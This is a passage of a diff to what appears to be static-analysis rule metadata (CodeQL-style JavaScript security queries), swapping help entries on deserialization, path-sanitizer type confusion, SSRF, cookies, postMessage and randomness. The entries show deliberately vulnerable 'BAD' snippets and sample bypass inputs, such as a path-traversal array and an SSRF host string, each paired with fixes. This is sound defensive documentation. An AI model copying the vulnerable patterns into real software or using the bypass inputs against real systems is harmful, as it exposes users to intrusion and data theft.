`password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n        method:'GET',\n        headers: headers\n     })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n  user: \"bob\",\n  host: \"database.server.com\",\n  database: \"mydb\",\n  password: \"correct-horse-battery-staple\",\n  port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "correctness", "external/cwe/cwe-020", "external/cwe/cwe-184" ],
-            "description" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\"\n              and \"data:\" suggests a logic error or even a security vulnerability.",
-            "id" : "js/incomplete-url-scheme-check",
-            "kind" : "problem",
-            "name" : "Incomplete URL scheme check",
+            "tags" : [ "security", "external/cwe/cwe-259", "external/cwe/cwe-321", "external/cwe/cwe-798" ],
+            "description" : "Hard-coding credentials in source code may enable an attacker\n              to gain unauthorized access.",
+            "id" : "js/hardcoded-credentials",
+            "kind" : "path-problem",
+            "name" : "Hard-coded credentials",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "security-severity" : "9.8"
           }
         }, {
-          "id" : "js/unsafe-deserialization",
-          "name" : "js/unsafe-deserialization",
+          "id" : "js/client-exposed-cookie",
+          "name" : "js/client-exposed-cookie",
           "shortDescription" : {
-            "text" : "Deserialization of user-controlled data"
+            "text" : "Sensitive server cookie exposed to the client"
           },
           "fullDescription" : {
-            "text" : "Deserializing user-controlled data may allow attackers to execute arbitrary code."
+            "text" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.load(req.params.data);\n  // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.safeLoad(req.params.data);\n  // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n",
-            "markdown" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.load(req.params.data);\n  // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.safeLoad(req.params.data);\n  // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n"
+            "text" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n",
+            "markdown" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-502" ],
-            "description" : "Deserializing user-controlled data may allow attackers to\n              execute arbitrary code.",
-            "id" : "js/unsafe-deserialization",
-            "kind" : "path-problem",
-            "name" : "Deserialization of user-controlled data",
+            "tags" : [ "security", "external/cwe/cwe-1004" ],
+            "description" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set.",
+            "id" : "js/client-exposed-cookie",
+            "kind" : "problem",
+            "name" : "Sensitive server cookie exposed to the client",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "9.8"
+            "security-severity" : "5.0"
           }
         }, {
-          "id" : "js/type-confusion-through-parameter-tampering",
-          "name" : "js/type-confusion-through-parameter-tampering",
+          "id" : "js/cross-window-information-leak",
+          "name" : "js/cross-window-information-leak",
           "shortDescription" : {
-            "text" : "Type confusion through parameter tampering"
+            "text" : "Cross-window communication with unrestricted target origin"
           },
           "fullDescription" : {
-            "text" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type."
+            "text" : "When sending sensitive information to another window using `postMessage`, the origin of the target window should be restricted to avoid unintentional information leaks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (file.indexOf(\"..\") !== -1) {\n    // BAD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n    // GOOD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n",
-            "markdown" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (file.indexOf(\"..\") !== -1) {\n    // BAD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n  path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n  var file = req.param(\"file\");\n  if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n    // GOOD\n    // we forbid relative paths that contain ..\n    // as these could leave the public directory\n    res.status(400).send(\"Bad request\");\n  } else {\n    var absolute = path.resolve(\"/public/\" + file);\n    console.log(\"Sending file: %s\", absolute);\n    res.sendFile(absolute);\n  }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n"
+            "text" : "# Cross-window communication with unrestricted target origin\nThe `window.postMessage` method allows different windows or iframes to communicate directly, even if they were loaded from different origins, circumventing the usual same-origin policy.\n\nThe sender of the message can restrict the origin of the receiver by specifying a target origin. If the receiver window does not come from this origin, the message is not sent.\n\nAlternatively, the sender can specify a target origin of `'*'`, which means that any origin is acceptable and the message is always sent.\n\nThis feature should not be used if the message being sent contains sensitive data such as user credentials: the target window may have been loaded from a malicious site, to which the data would then become available.\n\n\n## Recommendation\nIf possible, specify a target origin when using `window.postMessage`. Alternatively, encrypt the sensitive data before sending it to prevent an unauthorized receiver from accessing it.\n\n\n## Example\nThe following example code sends user credentials (in this case, their user name) to `window.parent` without checking its origin. If a malicious site loads the page containing this code into an iframe it would be able to gain access to the user name.\n\n\n```javascript\nwindow.parent.postMessage(userName, '*');\n\n```\nTo prevent this from happening, the origin of the target window should be restricted, as in this example:\n\n\n```javascript\nwindow.parent.postMessage(userName, 'https://github.com');\n\n```\n\n## References\n* Mozilla Developer Network: [Window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* Mozilla Developer Network: [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy).\n* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n",
+            "markdown" : "# Cross-window communication with unrestricted target origin\nThe `window.postMessage` method allows different windows or iframes to communicate directly, even if they were loaded from different origins, circumventing the usual same-origin policy.\n\nThe sender of the message can restrict the origin of the receiver by specifying a target origin. If the receiver window does not come from this origin, the message is not sent.\n\nAlternatively, the sender can specify a target origin of `'*'`, which means that any origin is acceptable and the message is always sent.\n\nThis feature should not be used if the message being sent contains sensitive data such as user credentials: the target window may have been loaded from a malicious site, to which the data would then become available.\n\n\n## Recommendation\nIf possible, specify a target origin when using `window.postMessage`. Alternatively, encrypt the sensitive data before sending it to prevent an unauthorized receiver from accessing it.\n\n\n## Example\nThe following example code sends user credentials (in this case, their user name) to `window.parent` without checking its origin. If a malicious site loads the page containing this code into an iframe it would be able to gain access to the user name.\n\n\n```javascript\nwindow.parent.postMessage(userName, '*');\n\n```\nTo prevent this from happening, the origin of the target window should be restricted, as in this example:\n\n\n```javascript\nwindow.parent.postMessage(userName, 'https://github.com');\n\n```\n\n## References\n* Mozilla Developer Network: [Window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* Mozilla Developer Network: [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy).\n* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-843" ],
-            "description" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type.",
-            "id" : "js/type-confusion-through-parameter-tampering",
+            "tags" : [ "security", "external/cwe/cwe-201", "external/cwe/cwe-359" ],
+            "description" : "When sending sensitive information to another window using `postMessage`,\n              the origin of the target window should be restricted to avoid unintentional\n              information leaks.",
+            "id" : "js/cross-window-information-leak",
             "kind" : "path-problem",
-            "name" : "Type confusion through parameter tampering",
+            "name" : "Cross-window communication with unrestricted target origin",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "9.8"
+            "security-severity" : "4.3"
           }
         }, {
-          "id" : "js/request-forgery",
-          "name" : "js/request-forgery",
+          "id" : "js/insecure-randomness",
+          "name" : "js/insecure-randomness",
           "shortDescription" : {
-            "text" : "Server-side request forgery"
+            "text" : "Insecure randomness"
           },
           "fullDescription" : {
-            "text" : "Making a network request with user-controlled data in the URL allows for request forgery attacks."
+            "text" : "Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value may allow an attacker to predict what value will be generated."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    // BAD: `target` is controlled by the attacker\n    http.get('https://' + target + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    let subdomain;\n    if (target === 'EU') {\n        subdomain = \"europe\"\n    } else {\n        subdomain = \"world\"\n    }\n\n    // GOOD: `subdomain` is controlled by the server\n    http.get('https://' + subdomain + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n",
-            "markdown" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    // BAD: `target` is controlled by the attacker\n    http.get('https://' + target + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n    const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n    let subdomain;\n    if (target === 'EU') {\n        subdomain = \"europe\"\n    } else {\n        subdomain = \"world\"\n    }\n\n    // GOOD: `subdomain` is controlled by the server\n    http.get('https://' + subdomain + \".example.com/data/\", res => {\n        // process request response ...\n    });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n"
+            "text" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n    // BAD: the random suffix is not cryptographically secure\n    var suffix = Math.random();\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n    // GOOD: the random suffix is cryptographically secure\n    var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n",
+            "markdown" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n    // BAD: the random suffix is not cryptographically secure\n    var suffix = Math.random();\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n    // GOOD: the random suffix is cryptographically secure\n    var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-918" ],
-            "description" : "Making a network request with user-controlled data in the URL allows for request forgery attacks.",
-            "id" : "js/request-forgery",
+            "tags" : [ "security", "external/cwe/cwe-338" ],
+            "description" : "Using a cryptographically weak pseudo-random number generator to generate a\n              security-sensitive value may allow an attacker to predict what value will\n              be generated.",
+            "id" : "js/insecure-randomness",
             "kind" : "path-problem",
-            "name" : "Server-side request forgery",
+            "name" : "Insecure randomness",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "9.1"
+            "problem.severity" : "warning",
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/cross-window-information-leak",
-          "name" : "js/cross-window-information-leak",
+          "id" : "js/template-object-injection",
+          "name" : "js/template-object-injection",
           "shortDescription" : {
-            "text" : "Cross-window communication with unrestricted target origin"
+            "text" : "Template Object Injection"
           },
           "fullDescription" : {
-            "text" : "When sending sensitive information to another window using `postMessage`, the origin of the target window should be restricted to avoid unintentional information leaks."
+            "text" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Cross-window communication with unrestricted target origin\nThe `window.postMessage` method allows different windows or iframes to communicate directly, even if they were loaded from different origins, circumventing the usual same-origin policy.\n\nThe sender of the message can restrict the origin of the receiver by specifying a target origin. If the receiver window does not come from this origin, the message is not sent.\n\nAlternatively, the sender can specify a target origin of `'*'`, which means that any origin is acceptable and the message is always sent.\n\nThis feature should not be used if the message being sent contains sensitive data such as user credentials: the target window may have been loaded from a malicious site, to which the data would then become available.\n\n\n## Recommendation\nIf possible, specify a target origin when using `window.postMessage`. Alternatively, encrypt the sensitive data before sending it to prevent an unauthorized receiver from accessing it.\n\n\n## Example\nThe following example code sends user credentials (in this case, their user name) to `window.parent` without checking its origin. If a malicious site loads the page containing this code into an iframe it would be able to gain access to the user name.\n\n\n```javascript\nwindow.parent.postMessage(userName, '*');\n\n```\nTo prevent this from happening, the origin of the target window should be restricted, as in this example:\n\n\n```javascript\nwindow.parent.postMessage(userName, 'https://github.com');\n\n```\n\n## References\n* Mozilla Developer Network: [Window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* Mozilla Developer Network: [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy).\n* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n",
